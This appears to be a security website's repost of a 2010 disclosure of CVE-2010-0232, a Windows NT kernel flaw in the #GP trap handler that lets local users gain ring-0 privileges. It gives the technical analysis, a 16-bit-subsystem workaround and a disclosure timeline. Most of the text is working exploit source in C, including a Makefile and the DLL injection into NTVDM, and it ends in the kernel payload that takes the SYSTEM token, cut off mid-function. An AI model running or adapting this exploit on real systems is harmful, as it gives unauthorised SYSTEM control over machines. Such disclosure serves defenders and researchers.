首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows NT User Mode to Ring 0 Escalation Vulnerability
来源:vfocus.net 作者:Ormandy 发布时间:2010-01-21  

Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack
-------------------------------------------------------------------------

CVE-2010-0232

In order to support BIOS service routines in legacy 16bit applications, the
Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode
monitor code. These are implemented in two stages, the kernel transitions to
the second stage when the #GP trap handler (nt!KiTrap0D) detects that the
faulting cs:eip matches specific magic values.

Transitioning to the second stage involves restoring execution context and
call stack (which had been previously saved) from the faulting trap frame once
authenticity has been verified.

This verification relies on the following incorrect assumptions:

  - Setting up a VDM context requires SeTcbPrivilege.
  - ring3 code cannot install arbitrary code segment selectors.
  - ring3 code cannot forge a trap frame.

This is believed to affect every release of the Windows NT kernel, from
Windows NT 3.1 (1993) up to and including Windows 7 (2009).

Working out the details of the attack is left as an exercise for the reader.

Just kidding, that was an homage to Derek Soeder :-)

- Assumption 0: Setting up a VDM context requires SeTcbPrivilege.

Creating a VDM context requires EPROCESS->Flags.VdmAllowed to be set in order
to access the authenticated system service, NtVdmControl(). VdmAllowed can
only be set using NtSetInformationProcess(), which verifies the caller has
SeTcbPrivilege. If this is true, the caller is very privileged and can
certainly be trusted.

This restriction can be subverted by requesting the NTVDM subsystem, and then
using CreateRemoteThread() to execute in the context of the subsystem process,
which will already have this flag set.

- Assumption 1: ring3 code cannot install arbitrary code segment selectors.

Cpl is usually equal to the two least significant bits of cs and ss, and is
a simple way to calculate the privilege of a task. However, there is an
exception, Virtual-8086 mode.

Real mode uses a segmented addressing scheme in order to allow 16-bit
addresses to access the 20-bit address space. This is achieved by forming
physical addresses from a calculation like (cs << 4) + (eip & 0xffff). The
same calculation is used to map the segmented real address space onto the
protected linear address space in Virtual-8086 mode. Therefore, I must be
permitted to set cs to any value, and checks for disallowed or privileged
selectors can be bypassed (PsSetLdtEnties will reject any selector where any
of the three lower bits are unset, as is the case with the required cs pair).

- Assumption 2: ring3 code cannot forge a trap frame.

Returning to usermode with iret is a complicated operation, the pseudocode for
the iret instruction alone spans several pages of Intel's Software Developers
Manual. The operation occurs in two stages, a pre-commit stage and a
post-commit stage. Using the VdmContext installed using NtVdmControl(), an
invalid context can be created that causes iret to fail pre-commit, thus
forging a trap frame.

The final requirement involves predicting the address of the second-stage BIOS
call handler. The address is static in Windows 2003, XP and earlier operating
systems, however, Microsoft introduced kernel base randomisation in Windows
Vista. Unfortunately, this potentially useful exploit mitigation is trivial
to defeat locally as unprivileged users can simply query the loaded module list
via NtQuerySystemInformation().

--------------------
Affected Software
------------------------

All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to
be affected, including but not limited to the following actively supported
versions:

    - Windows 2000
    - Windows XP
    - Windows Server 2003
    - Windows Vista
    - Windows Server 2008
    - Windows 7

--------------------
Consequences
-----------------------

Upon successful exploitation, the kernel stack is switched to an attacker
specified address.

An attacker would trigger the vulnerability by setting up a specially
formed VDM_TIB in their TEB, using a code sequence like this:

/* ... */
    // Magic CS required for exploitation
    Tib.VdmContext.SegCs = 0x0B;
    // Pointer to fake kernel stack
    Tib.VdmContext.Esi = &KernelStack;
    // Magic IP required for exploitation
    Tib.VdmContext.Eip = Ki386BiosCallReturnAddress;

    NtCurrentTeb()->Reserved4[0] = &Tib;
/* ... */

Followed by

/* ... */
    NtVdmControl(VdmStartExecution, NULL);
/* ... */

Which will reach the following code sequence via the #GP trap handler,
nt!KiTrap0D. Please note how the stack pointer is restored from the saved
(untrusted) trap frame at 43C3E6, undoubtedly resulting in the condition
described above.

/* ... */
.text:0043C3CE Ki386BiosCallReturnAddress proc near
.text:0043C3CE mov eax, large fs:KPCR.SelfPcr
.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi]
.text:0043C3D7 mov edi, [edi]
.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase]
.text:0043C3DC mov ecx, 84h
.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi
.text:0043C3E4 rep movsd
.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi]
.text:0043C3E9 add esp, 4
.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread]
.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi
.text:0043C3F5 mov eax, [eax+KPCR.TSS]
.text:0043C3F8 sub edi, 220h
.text:0043C3FE mov [eax+KTSS.Esp0], edi
.text:0043C401 pop edx
.text:0043C402 mov [ecx+KTHREAD.Teb], edx
.text:0043C405 pop edx
.text:0043C406 mov large fs:KPCR.NtTib.Self, edx
.text:0043C40D mov ebx, large fs:KPCR.GDT
.text:0043C414 mov [ebx+3Ah], dx
.text:0043C418 shr edx, 10h
.text:0043C41B mov byte ptr [ebx+3Ch], dl
.text:0043C41E mov [ebx+3Fh], dh
.text:0043C421 sti
.text:0043C422 pop edi
.text:0043C423 pop esi
.text:0043C424 pop ebx
.text:0043C425 pop ebp
.text:0043C426 retn 4
/* ... */

Possibly naive example code for triggering this condition is availble from the
link below.

http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip
http://www.exploit-db.com/sploits/KiTrap0D.zip

The code has been tested on Windows XP, Windows Server 2003/2008, Windows Vista
and Windows 7. Support for other affected operating systems is left as an
exercise for the interested reader.

-------------------
Mitigation
-----------------------

If you believe you may be affected, you should consider applying the workaround
described below.

Temporarily disabling the MSDOS and WOWEXEC subsystems will prevent the attack
from functioning, as without a process with VdmAllowed, it is not possible to
access NtVdmControl() (without SeTcbPrivilege, of course).

The policy template "Windows Components\Application Compatibility\Prevent
access to 16-bit applications" may be used within the group policy editor to
prevent unprivileged users from executing 16-bit applications. I'm informed
this is an officially supported machine configuration.

Administrators unfamiliar with group policy may find the videos below
instructive. Further information is available from the Windows Server
Group Policy Home

http://technet.microsoft.com/en-us/windowsserver/grouppolicy/default.aspx.

To watch a demonstration of this policy being applied to a Windows Server 2003
domain controller, see the link below.

http://www.youtube.com/watch?v=XRVI4iQ2Nug

To watch a demonstration of this policy being applied to a Windows Server 2008
domain controller, see the link below.

http://www.youtube.com/watch?v=u8pfXW7crEQ

To watch a demonstration of this policy being applied to a shared but
unjoined Windows XP Professional machine, see the link below.

http://www.youtube.com/watch?v=u7Y6d-BVwxk

On Windows NT4, the following knowledgebase article explains how to disable the
NTVDM and WOWEXEC subsystems.

http://support.microsoft.com/kb/220159

Applying these configuration changes will temporarily prevent users from
accessing legacy 16-bit MS-DOS and Windows 3.1 applications, however, few users
require this functionality.

If you do not require this feature and depend on NT security, consider
permanently disabling it in order to reduce kernel attack surface.

-------------------
Solution
-----------------------

Microsoft was informed about this vulnerability on 12-Jun-2009, and they
confirmed receipt of my report on 22-Jun-2009.

Regrettably, no official patch is currently available. As an effective and easy
to deploy workaround is available, I have concluded that it is in the best
interest of users to go ahead with the publication of this document without an
official patch. It should be noted that very few users rely on NT security, the
primary audience of this advisory is expected to be domain administrators and
security professionals.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK,
ScaryBeasts, spender and all my other elite colleagues.

Check out some photography while at ring0 http://flickr.com/meder.

-------------------
References
-----------------------

Derek Soeder has previously reported some legendary NT bugs, including multiple
vdm bugs that, while unrelated to this issue, make fascinating reading.

- http://seclists.org/fulldisclosure/2004/Oct/404, Windows VDM #UD LocalPrivilege Escalation
- http://seclists.org/fulldisclosure/2004/Apr/477, Windows VDM TIB Local Privilege Escalation
- http://seclists.org/fulldisclosure/2007/Apr/357, Zero Page Race Condition Privilege Escalation

-------------------
Appendix
-----------------------

SHA-1 checksum of KiTrap0D.zip follows.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

99a047427e9085d52aaddfc9214fd1a621534072 KiTrap0D.zip

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQEVAwUBS1W6+RvyfE4zaHEXAQK//QgAvo/VhPdeASGe7SSfC3jLwNzsfVfM+FMo
x7JZMMfVUh6b/+FxvokIpsCUf7QQkv+YcyCiatutVjUok5aw5BirFtPLHORIIKPX
B5gN2a4G8RIXh5yKE6FffKGQsPJNW1Ua5Jss8rf59TEj3EDky1vco+WVmmz7TsHn
TQdUreVcL8wFmCAgq5X0AKrdepYDBmYLF0AUFOdG3mKJ43dnP59p9R7+ckv0pfLW
XtvOgzZDNMew4z2Z53YQpE7dO+Y3H3rnhLN7jF7i9We9iiG4ATDke8byFAIDZQZx
ucq5EOcRsfAAWW3O8EbzQa0NiHHScJrKDjvg0gX1Y69MBBwCLNP6yg==
=LHU0
-----END PGP SIGNATURE-----

--
-------------------------------------
tavisosdf.lonestar.org | finger me for my gpg key.
-------------------------------------------------------

--------------------------Makefile---------------------------

# Makefile for KiTrap0d->NtVdmControl() exploit.
#   - Tavis Ormandy <taviso@sdf.lonestar.org>

CFLAGS=/Zi /Zp /Od /TC /nologo

all: vdmallowed.exe vdmexploit.dll

clean:
 rm -f *.obj *.exe *.dll *.pdb *.ilk *.exp *.lib

vdmallowed.exe: vdmallowed.obj
 cl /Fe$(@F) $(**)

vdmexploit.dll: vdmexploit.obj
 cl /Fe$(@F) /LD $(**)

-------------------------------README-----------------


--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

Tavis Ormandy, June 2009.

Please see ADVISORY for discussion of the vulnerability itself.

INSTRUCTIONS

Use nmake[1] from visual c++ to build the exploit driver and payload.

[1] NMAKE Reference, http://msdn.microsoft.com/en-us/library/dd9y37ha.aspx

----------------------------vdmallowed.c--------------------

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// INTRODUCTION
//
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
// bug was so unusual I felt it deserved some special attention :-)
//
// I believe every single release of Windows NT since version 3.1 (1993) up to
// and including Windows 7 (2009) contain this error.
//
// KNOWN BUGS
//
//      * If KernelGetProcByName() ever fails, I'm probably in trouble.
//      * I hardcode several paths instead of expanding %SYSTEMROOT%.
//      * I probably need to VirtualLock() some stuff.
//      * I suspect this is unreliable on mp kernels.
//
// INSTRUCTIONS
//
//      C:\> nmake
//      C:\> vdmallowed.exe
//
// WORKAROUND
//
//      Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
//      from functioning.
//
//      http://support.microsoft.com/kb/220159
//
// GREETZ
//
//      Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <stdarg.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "advapi32")

#define PAGE_SIZE 0x1000

enum { SystemModuleInformation = 11 };

typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
   
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
static CONST UCHAR CodeSignatures[][16] = {
    { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
    { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
};

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);

int main(int argc, char **argv)
{
    HANDLE VdmHandle;
    HANDLE RemoteThread;
    DWORD ShellPid;
    DWORD ThreadCode;
    DWORD KernelBase;
    CHAR Buf[32];
    DWORD Offset;

    LogMessage(L_INFO,
        "\r"
        "--------------------------------------------------\n"
        "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
        "-------------------------------------------- taviso@sdf.lonestar.org ---\n"
        "\n"
    );

    // Spawn the process to be elevated to SYSTEM.
    LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");

    if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
        LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
        goto finished;
    }

    // Scan kernel image for the required code sequence, and find the base address.
    if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
        LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
        goto finished;
    }

    // Pass the parameters required by exploit thread to NTVDM.
    SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
    SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
    SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));

    // Invoke the NTVDM subsystem, by launching any MS-DOS executable.
    LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");

    if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {
        LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
        goto finished;
    }

    // Start the exploit thread in the NTVDM process.
    LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);

    if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
        LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
        goto finished;
    }

    // Wait for the thread to complete
    LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);

    WaitForSingleObject(RemoteThread, INFINITE);

    // I pass some information back via the exit code to indicate what happened.
    GetExitCodeThread(RemoteThread, &ThreadCode);

    LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);

    switch (ThreadCode) {
        case 'VTIB':
            // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
            // matches what the kernel expects.
            // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
            LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
            break;
        case 'NTAV':
            // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
            // expects to be present.
            // The exploit thread reports it didn't work.
            LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
            break;
        case 'VDMC':
            // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
            // It's entirely undocumented, so you'll have to use kd to step through it and find out why
            // it's failing.
            LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
            break;
        case 'LPID':
            // This exploit will try to transplant the token from PsInitialSystemProcess on to an
            // unprivileged process owned by you.
            // PsLookupProcessByProcessId() failed when trying to find your process.
            LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
            break;
        case FALSE:
            // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
            // Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
            LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
            break;
        case 'w00t':
            // This means the exploit payload was executed at ring0 and succeeded.
            LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
            LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
            break;
        default:
            // Unknown error. Sorry, you're on your own.
            LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
            break;
    }

    TerminateProcess(VdmHandle, 0);
    CloseHandle(VdmHandle);
    CloseHandle(RemoteThread);

finished:
    LogMessage(L_INFO, "Press any key to exit...");
    getch();
    return 0;
}

// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
    PROCESS_INFORMATION pi = {0};
    STARTUPINFO si = { sizeof si };

    if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
        LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);

    *ProcessId = pi.dwProcessId;
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

// Grab a useful Handle to NTVDM.
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
{
    PROCESS_INFORMATION pi = {0};
    STARTUPINFO si = { sizeof si };
    ULONG i;

    // Start the child process, which should invoke NTVDM.
    if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
        LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);

    // Get more access
    if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
                                        | PROCESS_QUERY_INFORMATION
                                        | PROCESS_VM_OPERATION
                                        | PROCESS_VM_WRITE
                                        | PROCESS_VM_READ
                                        | PROCESS_TERMINATE,
                                      FALSE,
                                      pi.dwProcessId)) == NULL) {
        LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
        TerminateProcess(pi.hProcess, 'SPWN');
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }

    LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

// Use the DLL Injection technique to access the NTVDM process.
// http://en.wikipedia.org/wiki/DLL_injection
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
{
    PVOID RemotePage;
    LPTHREAD_START_ROUTINE StartRoutine;

    assert(ProcessHandle != INVALID_HANDLE_VALUE);
    assert(DllPath);
    assert(RemoteThread);

    // Allocate a page in the child process
    if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
        LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
        return FALSE;
    }

    // Write in the name of my DLL (note, memory is already zeroed)
    if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
        LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
                        ProcessHandle,
                        RemotePage,
                        DllPath,
                        strlen(DllPath));

    // Execute it in child process, loading the specified library
    *RemoteThread = CreateRemoteThread(ProcessHandle,
                                       NULL,
                                       0,
                                       (LPTHREAD_START_ROUTINE)
                                           GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
                                       RemotePage,
                                       0,
                                       NULL);

    return *RemoteThread != NULL;
}

// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
    FARPROC NtQuerySystemInformation;
    HMODULE KernelHandle;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    PIMAGE_OPTIONAL_HEADER OptHeader;
    OSVERSIONINFO osvi = { sizeof osvi };
    PBYTE ImageBase;
    DWORD PhysicalAddressExtensions, DataSize;
    ULONG i;
    HKEY MmHandle;
    SYSTEM_MODULE_INFORMATION ModuleInfo = {0};

    // List of versions I have code signatures for.
    enum {
        MICROSOFT_WINDOWS_NT4   = 0,
        MICROSOFT_WINDOWS_2000  = 1,
        MICROSOFT_WINDOWS_XP    = 2,
        MICROSOFT_WINDOWS_2003  = 3,
        MICROSOFT_WINDOWS_VISTA = 4,
        MICROSOFT_WINDOWS_2008  = 5,
        MICROSOFT_WINDOWS_7     = 6,
    } Version = MICROSOFT_WINDOWS_7;

    // NtQuerySystemInformation can be used to find kernel base address
    NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");

    // Determine kernel version so that the correct code signature is used
    GetVersionEx(&osvi);
   
    LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);

    if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_NT4;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2000;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_XP;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
        Version = MICROSOFT_WINDOWS_2003;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_VISTA;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2008;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_7;

    // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
    NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
                        ModuleInfo.Module[0].ImageName,
                        ModuleInfo.Module[0].Base);

    // Load the kernel image specified
    if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
        LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
        return FALSE;
    }

    // Parse image headers
    *KernelBase                 = (DWORD) ModuleInfo.Module[0].Base;
    ImageBase                   = (PBYTE) KernelHandle;
    DosHeader                   = (PIMAGE_DOS_HEADER)(ImageBase);
    PeHeader                    = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    OptHeader                   = &PeHeader->OptionalHeader;

    LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
                        osvi.dwMajorVersion,
                        osvi.dwMinorVersion,
                        CodeSignatures[Version][0],
                        CodeSignatures[Version][1]);

    // Scan for the appropriate signature
    for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
        if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
            LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);

            *OffsetFromBase = i;
            FreeLibrary(KernelHandle);
            return TRUE;
        }
    }

    LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
   
    FreeLibrary(KernelHandle);

    return FALSE;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);
 
    return TRUE;
}

-------------------------------vdmexploit.c----------------

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
//  Tested on:
//      $ cmd /c ver
//      Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

// Process to escalate to SYSTEM
static DWORD TargetPid;

// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;

#define KernelStackSize 1024

// Enforce byte alignment by default
#pragma pack(1)

// Kernel module handle
static HMODULE KernelHandle;

// Eflags macros
#define EFLAGS_CF_MASK   0x00000001 // carry flag
#define EFLAGS_PF_MASK   0x00000004 // parity flag
#define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK   0x00000040 // zero flag
#define EFLAGS_SF_MASK   0x00000080 // sign flag
#define EFLAGS_TF_MASK   0x00000100 // trap flag
#define EFLAGS_IF_MASK   0x00000200 // interrupt flag
#define EFLAGS_DF_MASK   0x00000400 // direction flag
#define EFLAGS_OF_MASK   0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK   0x00004000 // nested task
#define EFLAGS_RF_MASK   0x00010000 // resume flag
#define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK   0x00040000 // alignment check
#define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK   0x00200000 // identification flag

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };

VOID    FirstStage();
BOOL    InitializeVdmSubsystem();
PVOID   KernelGetProcByName(PSTR);
BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);

// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
    FARPROC DbgPrint;
    FARPROC PsGetCurrentThread;
    FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
    FARPROC PsLookupProcessByProcessId;
    FARPROC PsReferencePrimaryToken;
    FARPROC ZwTerminateProcess;
    PVOID CurrentThread;
    PVOID TargetProcess, *PsInitialSystemProcess;
    DWORD StackBase, StackLimit;
    DWORD i;

    // Keep interrupts off until I've repaired my KTHREAD.
    __asm cli

    // Resolve some routines I need from the kernel export directory
    DbgPrint                        = KernelGetProcByName("DbgPrint");
    PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
    PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
    PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
    PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
    PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
    PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
    ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");

    CurrentThread                   = (PVOID) PsGetCurrentThread();
    StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
    StackBase                       = (DWORD) PsGetCurrentThreadStackBase();

    DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
             CurrentThread,
             StackBase,
             StackLimit);

    // First I need to repair my CurrentThread, find all references to my fake kernel
    // stack and repair them. Note that by "repair" I mean randomly point them
    // somewhere inside the real stack.
    DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
             &KernelStackPointer[0],
             &KernelStackPointer[KernelStackSize - 1],
             CurrentThread);

